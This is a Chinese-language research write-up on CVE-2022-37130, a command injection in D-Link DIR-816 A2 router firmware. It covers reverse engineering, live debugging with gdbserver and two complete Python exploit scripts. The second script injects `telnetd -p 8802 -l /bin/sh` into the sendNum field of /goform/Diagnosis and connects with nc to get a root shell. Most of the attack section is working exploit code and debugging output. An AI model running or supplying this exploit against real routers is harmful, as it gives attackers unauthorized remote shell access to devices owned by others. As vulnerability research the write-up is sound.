# D-Link CVE-2022-37130 > z1r0 > 来源:https://www.iotsec-zone.com/article/250 > - Manufacturer’s address:[https://www.dlink.com/](https://www.dlink.com/) > - Firmware download address : [http://tsd.dlink.com.tw/GPL.asp](http://tsd.dlink.com.tw/GPL.asp) > - Affected version:DIR-816 A2_v1.10CNB04 ## 前言 花了一段时间学了一下LLVM PASS PWN,现在有时间来搞IOT了,第一篇写了如何提取文件,如何对漏洞文件进行逆向分析,怎么触发漏洞,这一篇笔者还是对这个固件的漏洞进行分析,这次的漏洞是一个命令注入漏洞,会记录一下如何利用漏洞进行getshell操作 ## 逆向分析漏洞点 漏洞点发生在`formDefineManagement`中的`Diagnosi`函数中 ![0.png](https://www.iotsec-zone.com/images/MdImg/56c37e39991959d7bfdc032d5816bfc7.png) 程序从用户那里得到sendNum并拼接到v10中,值得注意的是这里并没有进行任何过滤和限制,在最后会执行到dosystembk,导致了命令注入漏洞 ## 漏洞利用 我们可以先把路由器的telnet开启登陆进去,这样做的原因是准备进行真机调试,我们需要去下载一个`gdbserver.mipsle` 然后在ubuntu上下载一个tftpd,并启动服务`sudo systemctl restart tftpd-hpa.service`,可以通过`sudo netstat -a | grep tftp`查看 ![1.png](https://www.iotsec-zone.com/images/MdImg/839d1d1503abc2018b050ed7fbc7539b.png) 把存放`gdbserver.mipsle`这个文件的目录做为主目录挂载到tftp上,使用telnet登录到路由器中 转到/tmp目录下,因为其他很多目录都是只读,然后将`gdbserver.mipsle`利用tftp传到/tmp下,并给上执行权限 ![2.png](https://www.iotsec-zone.com/images/MdImg/47445f0c3c5a29b265e07ff0b867cdb4.png) 接下来需要将goahead利用gdbserver给挂载到一个端口上,然后使用pwndbg对goahead进行调试分析,ps查看goahead的pid ![3.png](https://www.iotsec-zone.com/images/MdImg/23e74691278cd991c07ded38e1ef781d.png) `./gdbserver.mipsle :1234 --attach 42`挂载到1234端口上 ![4.png](https://www.iotsec-zone.com/images/MdImg/ca2b34d70b46f2a4ba8c931fbfa337c8.png) 到ubuntu上使用target remote去连接这个端口进行调试 ![5.png](https://www.iotsec-zone.com/images/MdImg/6cd13a876ffc2b76f2420f34ecda7143.png) 正确加载了libc和text ![6.png](https://www.iotsec-zone.com/images/MdImg/becf9a02d47c7d32cc606fd076ac9069.png) 在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp 在45ADB0这里下个断点准备去调试这个漏洞点,给出如下exp 连接到80端口,并发送POST数据包,漏洞点在/gofrom/Diagnosis中,只需将pingAddr设置一个ip就可以过`if ( !strcmp(pingAddr, "0.0.0.0") )`,接着在sendNum中填入`ls`,看一下是否最后可以执行到ls ```python import socket import os li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') tokenid = b'1804289383' ip = '192.168.0.1' port = 80 r = socket.socket(socket.AF_INET, socket.SOCK_STREAM) li('[+] connecting') r.connect((ip, port)) li('[+] connect finish') rn = b'\r\n' p2 = b'pingAddr=192.168.0.1&sendNum=`ls`&tokenid=1804289383' p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b'Content-Type: application/x-www-form-urlencoded'+rn p3 += rn p3 += p2 li('[+] sending payload') r.send(p3) response = r.recv(4096) response = response.decode() li(response) ``` ![7.png](https://www.iotsec-zone.com/images/MdImg/a0cac6dd4abf6272954415ac12870f09.png) 发送exp即可到断点,接着进行调试分析,发现可以成功执行到snprintf ![8.png](https://www.iotsec-zone.com/images/MdImg/d300200c5b7e34c14d078cdda99d5e05.png) 如上,可以看到ls成功被放入v10,继续调试,到0x45AEEC这时里,发现这里执行的是`> /tmp/diagnosis` ![9.png](https://www.iotsec-zone.com/images/MdImg/009e30777a9fdd8f969f42b4ddf60952.png) 继续往后调试也是最重要的dosystembk函数 ![10.png](https://www.iotsec-zone.com/images/MdImg/49c9b8595f971266bf6500f4ade38d83.png) 因为mips的流水线,a1的值其实就是$sp + 0x28的值 ![11.png](https://www.iotsec-zone.com/images/MdImg/bd213fa8e58b9f22874160672c7b92d1.png) 参数均已经被放入doSystembk中,接下来需要做的就是跟进dosystembk中,看一下$sp + 0x28会不会被执行 ![12.png](https://www.iotsec-zone.com/images/MdImg/d36e95ec430b1cd700ad95230dec17b8.png) 但是在跟进dosystembk之后发现并不会创建子进程,最后创建的还是一个父进程 ![13.png](https://www.iotsec-zone.com/images/MdImg/3409cd4f19a0eb0779e4541416345cd5.png) 可以看到pid大于0,创建的是父进程 ![14.png](https://www.iotsec-zone.com/images/MdImg/3a7fe5747611f530238aec1fd0e2443e.png) 其实这个是gdb的原因,笔者写了一个程序测试了一下 ```c #include #include #include #include int main(int argc, char **argv){ int v5; v5 = vfork(); if ( !v5 ){ puts("hello"); exit(0); } return 0; } ``` 发现正常执行hello,但是在调试的时候vfork会变成父进程,v10就是ping的那一条命令 所以正常运行exp的时候会执行ls命令,但回显不了,那么如何getshell呢,没有nc但是有telnet,所以我们可以用telnet来弹一个shell `telnetd -p 8802 -l /bin/sh` 需要注意的是>没有用,故exp如下 ```python import socket import os li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') tokenid = b'1804289383' ip = '192.168.0.1' port = 80 r = socket.socket(socket.AF_INET, socket.SOCK_STREAM) li('[+] connecting') r.connect((ip, port)) li('[+] connect finish') rn = b'\r\n' p2 = b'pingAddr=192.168.0.1&sendNum=`telnetd -p 8802 -l /bin/sh`&tokenid=1804289383' p3 = b"POST /goform/Diagnosis" + b" HTTP/1.1" + rn p3 += b"Host: 192.168.0.1" + rn p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn p3 += b"Accept-Language: en-US,en;q=0.5" + rn p3 += b"Accept-Encoding: gzip, deflate" + rn p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A" + rn p3 += b"Connection: close" + rn p3 += b"Upgrade-Insecure-Requests: 1" + rn p3 += (b"Content-Length: %d" % len(p2)) +rn p3 += b'Content-Type: application/x-www-form-urlencoded'+rn p3 += rn p3 += p2 li('[+] sendling payload') r.send(p3) response = r.recv(4096) response = response.decode() li(response) li('[+] getshell! pwned by z1r0') os.system("nc 192.168.0.1 8802") ``` ![15.png](https://www.iotsec-zone.com/images/MdImg/18da913e65b35d71a855f34cc99bfac6.png) 成功getshell ## 总结 笔者认为真机调试比模拟固件好点,因为不需要为了环境发愁,有很多时候模拟固件会失败有的时候vmmap都没有用